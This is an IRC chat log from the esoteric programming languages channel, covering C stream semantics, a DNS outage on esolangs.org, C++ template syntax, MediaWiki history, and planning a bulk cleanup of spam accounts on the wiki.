07:16:51 <shachaf> Anyway, this is about C, not POSIX.
07:17:11 <pikhq_> Non-POSIX C is either a tarpit or Windows. :)
07:20:34 <pikhq_> Anyways. Yeah, ftell can EOVERFLOW, implying that there is no defined bound for file sizes.
07:21:14 <pikhq_> So, you can trivially map a tape onto a file and it'll just work on an implementation without bound files.
07:21:46 <pikhq_> Well, "trivially". Mapping > to fseek is probably pretty annoying. :)
07:22:20 <pikhq_> Not to mention any cell modification doing ungetc.
07:22:48 <shachaf> And why do you need ungetc?
07:23:03 <pikhq_> Either that or another fseek..
07:23:17 <pikhq_> Reading from the FILE* moves where you're reading from.
07:23:41 <shachaf> Oh, well, sure. Just do another seek.
07:24:17 <shachaf> What's the behavior of read(1); ungetc(); seek(+1); etc., anyway?
07:24:34 <fizzie> Seek discards all ungetc'd characters from the stream.
07:24:44 <pikhq_> read(1)? Undefined. fread(1)? Beats me, actually.
07:24:55 <pikhq_> fizzie: Is that spec, or common implementations?
07:25:04 <fizzie> successful intervening call (with the stream pointed to by stream) to a file positioning function (fseek, fsetpos, or rewind) discards any pushed-back characters for the
07:25:07 <fizzie> stream. The external storage corresponding to the stream is unchanged.
07:25:24 <fizzie> A fread(1) would rather obviously return the pushed-back character.
07:25:26 <pikhq_> Okay. So, you don't want to ungetc.
07:26:31 <elliott> If you have a read-write stream, successive reads are guaranteed to include previous writes, right?
07:27:14 <shachaf> You mean write("x"); fseek(-1); fread(1)?
07:27:34 <fizzie> No, *you* mean fwrite.
07:27:45 <elliott> Yes, apart from the fwrite thing.
07:27:50 <shachaf> I remembered to put the 'f' in front of the other two!
07:27:59 <shachaf> elliott: Presumably other processes can have the file open?
07:28:12 <elliott> Actually, I don't really know how read-write file handles work at all.
07:28:22 <elliott> But my point is that it sounds like it should be fairly easy to implement a BF tape with this.
07:29:42 <fizzie> POSIX has a very funnily stated bit related to writes and reads in different processes.
07:29:50 <fizzie> "Writes can be serialized with respect to other reads and writes. If a read() of file data can be proven (by any means) to occur after a write() of the data, it must reflect that write(), even if the calls are made by different processes."
07:30:07 <fizzie> I think I quoted this earlier, since the "proven (by any means)" sounds funny.
07:30:30 <fizzie> Proven beyond reasonable doubt by a polygraph test.
07:30:42 <elliott> fizzie: I wonder if you can encode $unsolved_problem with a special arrangement of processes.
07:32:21 <fizzie> elliott "el D" elliott.
07:33:38 <elliott> ASSIST THE EXPLODING HOUSE
07:56:04 <elliott> Wait, when did I say that previous line?
07:56:10 <elliott> I honestly don't remember typing it.
07:58:39 <shachaf> "Wait, when did I say that previous line? I honestly don't remember typing it." -- elliot "eliot" eliott
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08:06:36 <HackEgo> ais523: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
08:08:34 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unwelcome: not found
08:09:06 <shachaf> "your not welcome in here, ais523" -- elliott "hi" elliott
08:09:46 <shachaf> ais523: Ban me from this channel!
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08:32:14 <elliott> try buildings origami free trial
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08:53:52 <HackEgo> SimonRC: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
08:53:55 <HackEgo> simpleirc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
08:55:31 <elliott> shachaf: ais523: fizzie: pikhq_: ping
08:55:34 <elliott> does esolangs.org load for you?
08:56:12 -!- simpleirc has left.
08:56:36 <elliott> http://li278-81.members.linode.com/ works
08:56:57 <elliott> [elliott@dinky tmp]$ ping solidity
08:56:57 <elliott> PING solidity (178.79.159.81) 56(84) bytes of data.
08:56:58 <elliott> [elliott@dinky tmp]$ ping esolangs.org
08:56:58 <elliott> ping: unknown host esolangs.org
08:57:25 <ais523> looks like it was some sort of DNS glitch
08:57:27 * elliott digs it to see where it's resolving
08:57:33 <elliott> [elliott@dinky tmp]$ dig @ns1.afraid.org esolangs.org
08:57:33 <elliott> ;; Truncated, retrying in TCP mode.
08:57:33 <elliott> ;; Connection to 2607:f0d0:1102:d5::2#53(2607:f0d0:1102:d5::2) for esolangs.org failed: network unreachable.
08:57:36 <elliott> I guess an afraid.org outage
08:57:44 <ais523> try a couple of other servers
08:57:54 <ais523> dig @8.8.8.8, dig @4.2.2.1
08:58:20 <shachaf> Due to incompetent management.
08:58:43 <ais523> 8.8.8.8 (Google), gave me the right answer straight away, 4.2.2.1 (Level3) took a while then returned no IP
08:58:57 <shachaf> Wait, esolangs.org is back up.
08:59:08 <shachaf> Once in a while even incompetent management gets it right.
08:59:18 <ais523> <Level3> ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 7188
08:59:47 <shachaf> Alternative hostname: solidity.slbkbs.org
09:00:10 <elliott> shachaf: That won't send the right Host header.
09:00:19 <shachaf> elliott: It will if you tell it to!
09:00:39 <shachaf> elliott: Anyway, if it sent the same Host header, it would hardly be an alternative Host name, would it?!
09:01:03 <elliott> See, if I owned esolangs.org...
09:01:09 <elliott> ...then it wouldn't have just stopped loading again.
09:01:33 <shachaf> "LFM" doesn't stand for "Loads For Me", by the way.
09:02:47 <monqy> NIL (now it loads)
09:06:17 * elliott wonders what "slbkbs" means.
09:06:59 <shachaf> It stands for slbkbs "slbkbs" slbkbs
09:07:10 <olsner> presumably, C++ has the same limitations as C when it comes to being TC... a bit funny since templates are obviously turing-complete
09:08:36 <ais523> C++ has rather stricter rules on pointers than C does
09:08:45 <ais523> I'm not offhand sure whether it lets you cast anything into a void* or not
09:09:12 <elliott> esolangs.org is the worst thing about esolangs.org
09:09:27 <shachaf> The management is the worst thing about esolangs.org
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09:12:28 <fizzie> C doesn't let you cast "anything" either, so there.
09:13:15 <shachaf> cpp needs to support <> for macro expansion.
09:13:31 <fizzie> Admittedly C++ adds new classes of non-void*-able things.
09:13:52 <shachaf> zzo38: Because it would make it worse.
09:14:08 <fizzie> shachaf: I think you could call those "pretendplates".
09:14:09 <olsner> combining macros and templates can get horrible... macro(foo<bar,baz>) is two macro arguments, for instance
09:14:32 <elliott> olsner: CPP macros and templates are already horrible by themselves. You need a new word for the synthesis of the two.
09:14:49 <olsner> variadic macros can work part-way around that though
09:15:03 <fizzie> elliott: The new word would be "awesome". (Two wrongs make a right.)
09:15:15 <olsner> the kind of workaround where you end up inside the wall instead of on the other side of the problem
09:15:45 <zzo38> I don't like the <> syntax for C++ templates
09:15:54 <elliott> `addquote <olsner> combining macros and templates can get horrible... macro(foo<bar,baz>) is two macro arguments, for instance <olsner> variadic macros can work part-way around that though <olsner> the kind of workaround where you end up inside the wall instead of on the other side of the problem
09:15:57 <HackEgo> 825) <olsner> combining macros and templates can get horrible... macro(foo<bar,baz>) is two macro arguments, for instance <olsner> variadic macros can work part-way around that though <olsner> the kind of workaround where you end up inside the wall instead of on the other side of the problem
09:16:03 <shachaf> elliott: Hey, don't be dissin' templates!
09:16:21 <elliott> shachaf: http://esolangs.org/wiki/Deadfish#C.2B.2B_templates
09:16:27 <elliott> I have earned the right to diss templates for my work.
09:16:58 <olsner> maybe you could do... #define foo(...) foo<__VA_ARGS__> for every template
09:17:02 <zzo38> I do not consider CPP macros to be horrible; I don't know much about C++ templates but I don't think those are very horrible either but I do think that the < > as delimiters for C++ templates is not the good idea
09:17:33 <shachaf> elliott: If you do that, you have to treat Haskell's type sysem the same way.
09:17:41 <elliott> olsner: or just #define template(name, ...) name(__VA_ARGS__)
09:17:42 <shachaf> zzo38: What is the good idea?
09:17:51 <elliott> shachaf: No, the right, not the obligation.
09:18:00 <elliott> olsner: or just #define template(name, ...) name##<__VA_ARGS__>
09:18:11 <olsner> elliott: yeah, something
09:18:32 <zzo38> shachaf: I think the good idea would be to use () delimiters like the other delimiters in C do (since < > are used for operators instead)
09:18:43 <olsner> probably you'd want to do both, so that you have a shorter shorthand for most templates
09:21:37 <fizzie> What I read as "A Nude Entrepreneurship Course" in the INBOX turned out to be the far less interesting "A Nudge to Entrepreneurship -course".
09:21:49 <olsner> zzo38: calling a function template and constructing a template class needs both a template parameter list and a parameter list ... templatefunc<T>(1,2,3) and templatestruct<T>(1,2,3)
09:23:34 <zzo38> olsner: I think both parameter lists should be using () instead of having <> and ()
09:25:55 <zzo38> If you have a ephemeris function that you input the date/time and the object number, and the output is three set of XYZ coordinates, for the center, north pole, and zero longitude reference. Does this seem sufficient to do all the other calculation from that?
09:28:02 <elliott> ais523: holy crap, the categories list at the bottom of MediaWiki pages is in source order
09:28:09 <elliott> ais523: I assumed it'd sort them...
09:28:24 <ais523> it's more flexible this way, you can order them by hand
09:28:37 <ais523> presumably there's an AWB plugin for sorting them, and a huge row about whether people should use it or not
09:28:41 <elliott> ais523: how is that flexibility useful?
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09:28:50 <ais523> you are missing the point of MediaWiki!
09:29:16 <ais523> I think it's used to put [[Category:Living people]] first, though
09:29:47 <elliott> ais523: IMO, that should be done by allowing you to establish relations between _categories_
09:29:55 <elliott> but i guess this is simpler, code-wise, for that use-case
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09:30:12 <elliott> I'll just write a bot to reorder categories how I like them at the same time I write a bot to check for dead links
09:30:26 <ais523> did you know that not only can you, in an article, choose where the category goes in the list of categories on the article, but also where the article goes in the list of articles on the category?
09:30:42 <elliott> yes, [[Category:foo | bar]]
09:30:48 <elliott> but that makes sense, more or less
09:31:00 <elliott> albeit, I might argue that only DEFAULTSORT should exist, not the per-category section
09:31:05 <elliott> but it's useful for "X in Y" in [[Category:X]]
09:32:04 <zzo38> I think they also have hidden categories, at least in Wikipedia, which are not shown by default but there is a user preference to make it to display them, but in a separate row
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09:33:44 <elliott> ais523: speaking of bots, how hellish is pywikipediabot?
09:33:55 <elliott> I don't really feel like writing my own library
09:34:22 <ais523> not as bad as rolling your own library, although last I looked it used scraping rather than the API
09:34:26 <ais523> perhaps it's been fixed to use the API since
09:35:03 <elliott> wow, I'm not using it if it uses scraping
09:36:51 <elliott> ok i might if i'm really lazy
09:37:41 <elliott> ais523: err, apparently [[Category:Living people]] exists only for BLP monitoring
09:37:52 <elliott> and therefore has no subcategories, making it completely useless for readers
09:37:54 <ais523> elliott: indeed, that's its purpose
09:37:58 <elliott> that seems like a terrible category to list first...
09:38:06 <ais523> but it's so important when editing something
09:38:30 <ais523> Wikipedia isn't really aimed at readers, because they don't make the decisions…
09:39:04 <elliott> Wikipedia isn't really aimed at the editors either, just the very small subset of editors who would like to control who Wikipedia is aimed at
10:02:27 <zzo38> JPL HORIZONS seems broken; it doesn't do anything after a command is entered.
10:07:23 <kmc> i think you don't always need the type parameter on a template function call
10:07:30 <kmc> if the type can be inferred from argument types
10:07:36 <kmc> but the inference is rather weak...
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10:44:37 <ais523_> !glogbot_ignore so am I online now?
10:44:52 <ais523_> (!glogbot_ignore: good ping, or the best ping?)
10:47:28 <elliott> ais523_: Now, er, how much do you know about table styling?
10:51:21 <elliott> 14:17:54: <RocketJSquirrel> The text "More featured languages..." doesn't exactly scream "if you click through here a couple of times, you can suggest a language"
10:51:26 <elliott> RocketJSquirrel: BTW, I don't consider this a problem.
10:51:38 <elliott> The kind of person who wants to go from the main page directly to suggesting a language probably shouldn't.
10:55:06 <elliott> ais523_: by the way, I thought of an obvious criterion for the spam user deletion script I missed
10:55:41 <elliott> ais523_: "has an entry in the block log matching %spam%" (note: this is different from "is currently blocked with that entry")
10:55:47 <elliott> because we wiped the blocks
10:56:08 <ais523_> what about "has a 24-year block"?
10:56:21 <ais523_> for when the reason was typoed or not given?
10:56:38 <ais523_> although you'll need to check fake-lament on that
10:57:10 * ais523_ thinks it's vaguely weird to be on a wiki that's had exactly one vandal
10:57:25 <elliott> http://esolangs.org/w/index.php?title=Special:Log/block&limit=500&type=block&month=&year=
10:57:32 <elliott> it seems practically all spam-user entries have "spam" in them
10:57:38 <elliott> even the ones that are sentences talking about other spambots
10:58:00 <elliott> some of them have "vandal" even though we'd call them spammers nowadays
10:58:06 <ais523_> no "spma" or "spa," or whatever?
10:58:09 <elliott> (because they didn't actually link anywhere or promote anything)
10:58:24 <elliott> ais523_: oh, probably (although not "spma", at least), but we can delete users manually after-the-fact
10:58:36 <elliott> I just want to pick off a few thousand automatically to make it less of a drudge
11:00:09 <elliott> ais523_: haha, wow: (show/hide) 06:13, 28 September 2005 Graue (Talk | contribs | block) blocked 69.50.165.186 (Talk) with an expiry time of 24 years (probably a spammer testing to see if shit gets deleted here) (unblock | change block)
11:00:22 <elliott> ais523_: they were blocked for creating [[Esolang:Sandbox]] with "Hello"
11:00:39 <elliott> edit summary "just testing"
11:00:52 <elliott> since when do spambots figure out the project namespace and create a sandbox in it?
11:01:16 <elliott> (that's the first block ever)
11:02:54 <elliott> ais523_: also, I'm wondering if lament-impersonator isn't actually lament themselves
11:03:08 <elliott> (show/hide) 00:27, 20 August 2007 (diff | hist) Esolang:Sandbox (Replacing page with 'cocks')
11:03:09 <elliott> they remind me of lament of recent years.
11:03:37 <elliott> oh, lament reverted them, so I guess not
11:04:23 <elliott> http://esolangs.org/wiki/Special:Contributions/69.118.79.88 this person, presumably
11:04:30 <elliott> ais523_: it seems it happened when IRP was on reddit
11:04:42 <elliott> so the one vandal we got was when we were in the spotlight; makes sense
11:14:41 <elliott> ais523_: wow, the query is really good now
11:14:50 <elliott> 3058 matches, without the risky duplicate-email query
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11:15:41 <elliott> ais523_: (actually, I'm more surprised there were 3043 matches before adding the log entry criterion)
11:15:47 <elliott> I don't remember it being that effective
11:16:14 <elliott> that would leave 1449 users to be manually checked
11:16:16 <coppro> elliott: apparently F*****
11:16:18 <elliott> I get the feeling ais523_ isn't here
11:20:16 <elliott> coppro: what are you on about
11:20:22 <coppro> elliott: you asked who else supported
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11:21:05 <elliott> coppro: who the heck is Fasterisks
11:22:08 <elliott> ais523_: fun fact: nobody has ever been unblocked on esolang
11:26:35 <elliott> note to self: mysql> SELECT user_name, user_email, user_real_name FROM user u WHERE NOT EXISTS (SELECT 1 FROM spammers s WHERE s.user_id = u.user_id);
11:29:23 <elliott> [[User;The Catholicizer]] has one edit and it's incorrect :'(
11:39:04 <elliott> oh, [[DPEMOFKOXM]] that i deleted was actually a bot
11:40:41 <elliott> ais523: ais523_: another criterion I just thought of: only contribution is to own user or user talk page, which has been deleted
11:40:53 <elliott> ais523: ais523_: (keymaker has deleted lots, but never filled out a reason)
11:41:55 <elliott> I'm /really/ tempted to relax the "no undeleted contributions and has contributions deleted as %spam%" thing to "no undeleted contributions and has deleted contributions"
11:42:04 <elliott> Keymaker has deleted a /lot/ of such pages
11:50:54 <elliott> actually, no, I remember there being a false positive for that
11:51:06 <elliott> they were blanking the page
11:51:11 <elliott> /creating/ it should be pretty safe
11:51:54 <elliott> I suppose it's plausible that somebody might have put up a page that's a copyvio and it was deleted and they never did anything lese
12:02:33 <ais523_> I've been with students all this time
12:03:22 <elliott> I said lots and lots of interesting things! Well, lots of things, anyway.
12:03:34 <elliott> But some of them were amusing!
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12:43:59 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
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12:59:20 <ais523_> so, esolang idea inspired by one of my students' code: a language that ignores expressions
12:59:45 <ais523_> as in, it's vaguely C-like, but if(x>3) and if(y>4) mean the same thing
12:59:58 <ais523_> you can write conditionals, but not choose what they're conditionalling on
13:01:43 <elliott> "A colleague of mine recently needed to represent DAGs (directed acyclic graphs) in Coq, and asked around for ideas. Since Coq is not a nice language to program in, I decided to use Haskell instead."
13:02:07 <elliott> ais523_: did you see what I said about the first user ever blocked on esolang, btw?
13:02:59 <elliott> <elliott> ais523_: haha, wow: (show/hide) 06:13, 28 September 2005 Graue (Talk | contribs | block) blocked 69.50.165.186 (Talk) with an expiry time of 24 years (probably a spammer testing to see if shit gets deleted here) (unblock | change block)
13:02:59 <elliott> <elliott> ais523_: they were blocked for creating [[Esolang:Sandbox]] with "Hello"
13:02:59 <elliott> <elliott> a martyr for the ages
13:02:59 <elliott> <elliott> edit summary "just testing"
13:03:00 <elliott> <elliott> since when do spambots figure out the project namespace and create a sandbox in it?
13:03:02 <elliott> <elliott> (that's the first block ever)
13:04:48 <ais523_> and you can just edit [[Project:Sandbox]] on any MediaWiki wiki, it'll be translated to the appropriate alternative
13:05:05 <elliott> ais523_: I rather doubt spambots are doing that, either
13:05:17 <ais523_> anyway, Coq requires your programs to be proved correct, much like Agda
13:05:27 <ais523_> so it's rather harder to program in than Haskell
13:05:35 <elliott> ais523_: your first statement is completely false (and also nonsensical)
13:05:50 <ais523_> but /if/ it made sense, it would be true
13:06:15 <elliott> you can program without using Prop at all
13:06:16 <ais523_> (note: I've been awake for quite a while, you can expect me to make no sense)
13:07:16 <elliott> are you saying you make more sense when you're not tired?
13:07:58 <fizzie> What was that famous three-letter /^c/-word AI project? Cyc?
13:08:31 <elliott> It's a rather silly thing.
13:08:34 -!- MatressDude has changed nick to MDude.
13:08:45 <fizzie> It's COMMON SENSE in the COMPUTER, is what it is.
13:08:52 <fizzie> Billions and billions of rules.
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13:10:56 <fizzie> (#$genls #$Tree-ThePlant #$Plant) -- did you know that all tree-the-plants are plants?
13:12:14 <ais523_> bleh, that's the wireless malfunctioning again
13:12:18 <ais523_> alternatively, someone stealing my laptop
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13:13:59 <elliott> ais523_: http://esolangs.org/wiki/Esolang:Sandbox
13:14:17 <elliott> (no, I didn't do that for any reason, I was just bored)
13:14:45 <elliott> <fizzie> Billions and billions of rules.
13:14:49 <elliott> SORT OF LIKE SPEECH RECOGNITION.
13:15:03 <fizzie> That's not like speech recognition at all. :'(
13:16:19 <fizzie> Or I guess with a suitably warped view it is. But no-one's spending a hundred man-years to write up them rules.
13:17:19 <fizzie> `@ oerjan @ oerjan welcome oerjan
13:17:22 <HackEgo> oerjan: oerjan: oerjan: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
13:17:29 <oerjan> a hundred chinese sweatshop workers. the result is pretty good, but somehow cannot recognize "democracy".
13:19:08 <elliott> http://esolangs.org/wiki/Esolang:Sandbox ok i made it even better
13:19:34 <fizzie> The sandbox should have one of those falling-sand games embedded in it.
13:20:03 <fungot> oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerj ...too much output!
13:20:21 <ais523_> if you're going to recursively ping someone, do it properly
13:20:42 <fizzie> It was thrice by intention.
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13:21:43 <oerjan> ^bf >[,>]<[<]>[[.>]<[<]>]!ais523_:
13:22:13 <oerjan> ^bf >,[>,]<[<]>[[.>]<[<]>]!ais523_:
13:22:13 <fungot> ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ais523_: ...
13:22:41 <fizzie> The ^bf output limit is smaller than the ^ul.
13:22:51 <fizzie> For no particular reason.
13:22:58 <ais523_> I was about to ask, for any particular reason
13:23:01 <ais523_> but I think you answered for me
13:23:08 <oerjan> it's because ^ul is MORE AWESOME. hth.
13:24:39 <fizzie> ^ul (oerjan: )(~:S~:^):^( let's reuse our oerjans to save the environment )
13:24:39 <fungot> oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerjan: oerj ...too much output!
13:24:47 <elliott> http://esolangs.org/wiki/Esolang:Sandbox ok i made it the most betterest
13:25:14 <ais523_> fizzie: but we're reusing them anyway
13:25:20 <elliott> hey, an IP edited [[///]] usefully!
13:25:25 <elliott> the featured language thing must be doing some good.
13:25:37 <fizzie> (foo)S *obviously* makes a new foo, as opposed to doing a :S on an existing foo.
13:25:55 <elliott> now i feel guilty about dicking around in the sandbox for the last 10 minutes.
13:25:56 <ais523_> but the (oerjan) is being :ed in both cases
13:26:17 <ais523_> just it's inside another program in one of the cases)
13:26:35 <ais523_> (great things about English #50: it even lets you verb punctuation marks)
13:26:35 <fizzie> You and your facts. I'll have no part with them.
13:27:01 <elliott> ais523_: I think Swedish does that better, they have an actual separator
13:27:14 <ais523_> how many languages allow s/// constructs, with that name?
13:27:26 <ais523_> it might be more fun to link each word of "everybody seems to be doing" to a different language
13:27:32 <ais523_> but that would mean finding five of them
13:27:59 <oerjan> (oerjan) bliver koloniserad! vad imperialistiskt övergrepp!
13:28:31 <fizzie> (oerjan) kaksoispistetään.
13:28:34 <elliott> ais523_: perl, sed, ed (I think)
13:28:41 <fizzie> It's something like "is being double-put".
13:28:42 <elliott> the s///ing everyone was doing was presumably on IRC, I think
13:28:52 <Jafet> ed, sed, perl, perl6, irp
13:30:09 <fizzie> Skype does s///, though it's not exactly a language.
13:30:20 <Jafet> And :ing is english, presumably.
13:30:56 <MDude> Huh, I was pretty sure there was a picture on Wikipedia that showed the number line being projected onto a circle.
13:31:12 <elliott> http://en.wikipedia.org/wiki/Real_projective_line
13:31:39 <Jafet> They couldn't afford an infinite projector.
13:33:52 <elliott> ais523_: hey, mind if I move [[Template:Featured language]] to [[Esolang:Featured languages/Current]] and [[Template:Featured]] to [[Template:Featured language]]?
13:37:05 <oerjan> <zzo38> quintopia: It probably depends what you are doing, what makes what to be more useful! Chinese seasons says the equinox is in the middle of spring instead of start of spring.
13:37:33 <oerjan> i say the chinese wouldn't do that if they had snow outside the window today.
13:38:27 <fizzie> The picture in [[w:Real_projective_line]] isn't much of a picture, though. I remember an animooted one that showed the point on the line, and a small disc where it intersected the circle.
13:44:01 <fizzie> Oh, maybe I'm thinking of http://en.wikipedia.org/wiki/File:Riemann_sphere1.jpg instead.
13:44:09 <fizzie> Though that doesn't move either.
13:44:26 <elliott> It's the dreaded Riemann sphere.
13:44:31 <elliott> (I don't know, it looks hostile.)
13:44:42 <fizzie> It's not very friendly-looking, no.
13:44:57 <fizzie> Though I might be biased, I tend to distrust speheres.
13:45:25 <fizzie> They put these metal spheres on the streets in Helsinki near one harbour area, I swear they switch places when one's not looking.
13:45:31 <fizzie> And then they just stand there, all reflecty.
13:45:53 <elliott> I think they're watching you.
13:45:55 <fizzie> http://photoblogi.blogspot.com/2010/04/metallipallo-helsingissa-olo-no-22.html
13:46:17 <fizzie> Okay, it's not so oppressive-looking after it's been "tagged" and dirtied like that.
13:46:29 <fizzie> Actually now I feel a bit of pity. :/
13:46:42 <fizzie> Oh well, e probably deserved it, anyway.
13:47:05 <elliott> Oh, I... thought you were talking about larger spheres.
13:47:10 <elliott> The fear of those made sense.
13:47:18 <fizzie> http://www.flickr.com/photos/raselased/3867863746/ now that's a whole different thing.
13:47:37 <fizzie> There's all kinds of sizes, from like ~20 cm to maybe a metre or so.
13:47:38 <ais523_> (remember that you can transclude non-templates)
13:47:43 <fizzie> (They keep conspiring.)
13:47:47 <elliott> fizzie: Okay, that one looks a little sinister.
13:47:54 <elliott> fizzie: I was thinking of human-to-2x-human-sized spheres.
13:48:08 <elliott> ais523_: obviously, or I wouldn't move {{featured language}} to [[Esolang:Featured languages/Current]], it'd break the main page :)
13:48:17 <fizzie> Those I would probably just flee from, instead of being slightly unnerved by.
13:48:19 <ais523_> elliott: fun fact: did you know that templates weren't actually added to MediaWiki intentionally?
13:48:34 <elliott> ais523_: you originally transcluded interface messages
13:48:37 <elliott> and people used that to build templates
13:48:44 <elliott> it was {{msg:MediaWiki:foo}} or something
13:48:44 <ais523_> yes, for internationalisation purposes
13:48:50 <elliott> ais523_: I know this because I read a comment where you explained it
13:49:08 <ais523_> and people realised you could put arbitrary stuff in MediaWiki: space even though the software ignored it
13:49:15 <ais523_> and make it think you were internationalising messages
13:49:22 <ais523_> and that's how templates came about
13:49:29 <elliott> ais523_: it was http://en.wikipedia.org/wiki/Wikipedia:Templates_for_deletion/Log/2007_November_18#Template:Tooltip-article i read it at
13:49:33 <elliott> I got there from http://en.wikipedia.org/wiki/User_talk:MediaWiki_default
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13:49:54 <elliott> which is hilarious, it has notifications addressed to all bots and proposed deletion notifications
13:49:56 <ais523_> I'm one of the few people to ever have successfully MfDed a MediaWiki:-space page
13:50:09 <ais523_> I followed it up by speedying one, I think
13:50:40 <elliott> Comment I've posted the MfD now. Wow, that's the second time I've MfD'd a MediaWiki: page... --ais523 10:52, 23 November 2007 (UTC)
13:50:54 <elliott> http://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/MediaWiki:Tooltip-article
13:50:55 <ais523_> http://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/MediaWiki:Tooltip-article
13:50:57 <elliott> http://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/MediaWiki:Tooltip-article
13:51:10 <elliott> but what was the first one? :)
13:51:47 <elliott> Speedy delete per WP:CSD#R3 - The redirect was created by a bot and there is no evidence that any human has ever used the redirect. It looks like a redirect from an implausible typo or misnomer. Since it was created by a bot, I would say that the "Recently created" aspect of WP:CSD#R3 does not apply. If a human thinks the redirect is needed in the future, they can create it. -- Jreferee t/c 19:03, 23 November 2007 (UTC)
13:51:47 <ais523_> http://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/MediaWiki:Block_compress_delete
13:51:54 <elliott> ais523_: err, does this person realise you're talking about a MediaWiki-space page?
13:52:06 <ais523_> they probably did, and were intentionally-ignoring the fact
13:52:54 <elliott> rebuildMessages.php --rebuild
13:52:54 <elliott> Updates all messages to their current default value, regardless of whether they have been manually edited. This is sometimes used on other wikis when a new messages file has just been created, with a comprehensive set of default messages. It has never been used on the English Wikipedia.
13:52:58 <elliott> I wonder how much it'd break if it _was_ run.
13:53:46 <ais523_> you wouldn't get huge breakage, just lots of messages being less customized
13:54:14 <elliott> yep, but that probably counts as "breakage" for wikipedia
13:54:18 <ais523_> hmm, it's fun to see that in 2006, I wasn't sure what deleting an interface message would do and neither was anyone else
13:54:22 <ais523_> and in 2007, I was explaining it to them
13:54:26 <elliott> all the messages yelling at people about how to edit pages when you click edit would disappear
13:54:48 <elliott> ais523_: you asked if sandbox edits show up in the "edit log" on [[Esolang:Sandbox]] in 2006
13:54:53 <elliott> fast learner, I suppose...
13:55:34 <nortti> http://pics.kuvaton.com/kuvei/doing_it_wrong89.jpg
13:56:12 <ais523_> meanwhile, you might enjoy this: http://en.wikipedia.org/wiki/Special:PrefixIndex/Wikipedia:Miscellany_for_deletion/MediaWiki:
13:56:20 <ais523_> it's how I found the relevant MfDs
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14:11:48 <nortti> lentokonesuihkuturbiinimoottoriapumekaanikkoaliupseerioppilas
14:12:10 <elliott> kaksikymmentäneljätuntiaikakausitämänhetkinen
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14:13:27 <fizzie> Kolmivaihekilowattituntimittari is something I always think of first when it comes to longish words.
14:13:41 <nortti> twentytwohourscurrenttimeperiod?
14:17:29 <elliott> It's the day of the day of the day of the day!
14:17:54 <elliott> http://miekko.infa.fi/kaksikymment.ogg, see?
14:19:37 <nortti> http://www.omniglot.com/soundfiles/finnish/hovercraft_fi.mp3
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14:31:59 <ais523> try saving and restoring twice
14:34:37 <ais523> I was in the mood for a non sequitur
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14:47:47 <elliott> ais523: hey, can you fix CSS so it supports negative paddings?
14:48:26 <ais523> would a negative margin work for whatever you're trying to do?
14:48:43 <elliott> unfortunately not, I'm using width: 100%
14:48:58 <elliott> so a negative margin will push it to one of the edges, but leave a space on the other side
14:49:17 <elliott> arguably, a negative margin should apply in all directions, but it doesn't
14:55:46 <ais523> elliott: oh, I fixed my binary diff problem with a bit of out-of-the-box thinking
14:56:30 <ais523> I got the save code to remember, for each thing it wrote out, what it was writing out (with an identifier that wouldn't change over time and was unique for each bit of the save file), and which byte in the save file it started
14:56:42 <ais523> then I compare the files by comparing the tags and going byte-by-byte from there
14:56:48 <ais523> if you believe hashtables to be O(1), it's O(n)
14:57:10 <ais523> and leads to a diff format that has commands seek, copy, edit
14:58:38 <ais523> I'm not even convinced it's an awful hack…
14:58:40 <elliott> i do not believe hashtables to be O(1)!
14:59:46 <ais523> in my case, it's O(n^2) in the limit because I use a linked list upon hash collisions, but O(n) throughout the file sizes that actually happen in practice
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15:09:27 <lambdabot> forall a. (Num a) => a -> ((a -> a) -> a -> a) -> (a -> a) -> a -> a
15:10:11 <oerjan> > ((+) . (+) . (+)) 1 2 3 4
15:10:21 <oerjan> > ((+) . (+) . (+)) 1 2 3 4
15:10:47 <elliott> oerjan: haskell is slow. hth.
15:11:21 <elliott> oerjan: thanks for tabling betterave. i was too lazy to.
15:12:21 <elliott> i forget, did i ask you to propose deadfish as a featured language candidate yet :P
15:13:10 <oerjan> you did, but on the other hand the page says to make your suggestion _count_
15:13:26 <elliott> oerjan: hey, counting is one of the few things Deadfish is good at!
15:13:51 <oerjan> although with ais523 and Taneb snatching the very two languages i was considering instead...
15:14:28 <elliott> yes, Glass is a good candidate, but its article needs _work_ before i'll link to it from the main page.
15:14:41 <elliott> for instance, this is not a good lead: "This wiki page describes the structure of Glass, however, it's been described as unintuitive. If you just want to learn Glass, it's recommended that you read the IRC log of #esoteric in which Gregor taught a class on Glass. That log is available at http://tunes.org/~nef/logs/esoteric/06.01.15, and the lesson starts with the line "16:17:57 <GregorR-L> Lesson #1: Classes" Also, Gregor is always willing to ans
15:14:41 <elliott> wer questions about Glass on #esoteric on FreeNode."
15:14:42 <oerjan> i already _did_ work on that ;_;
15:15:02 <elliott> ok well maybe the notice is obsolete then
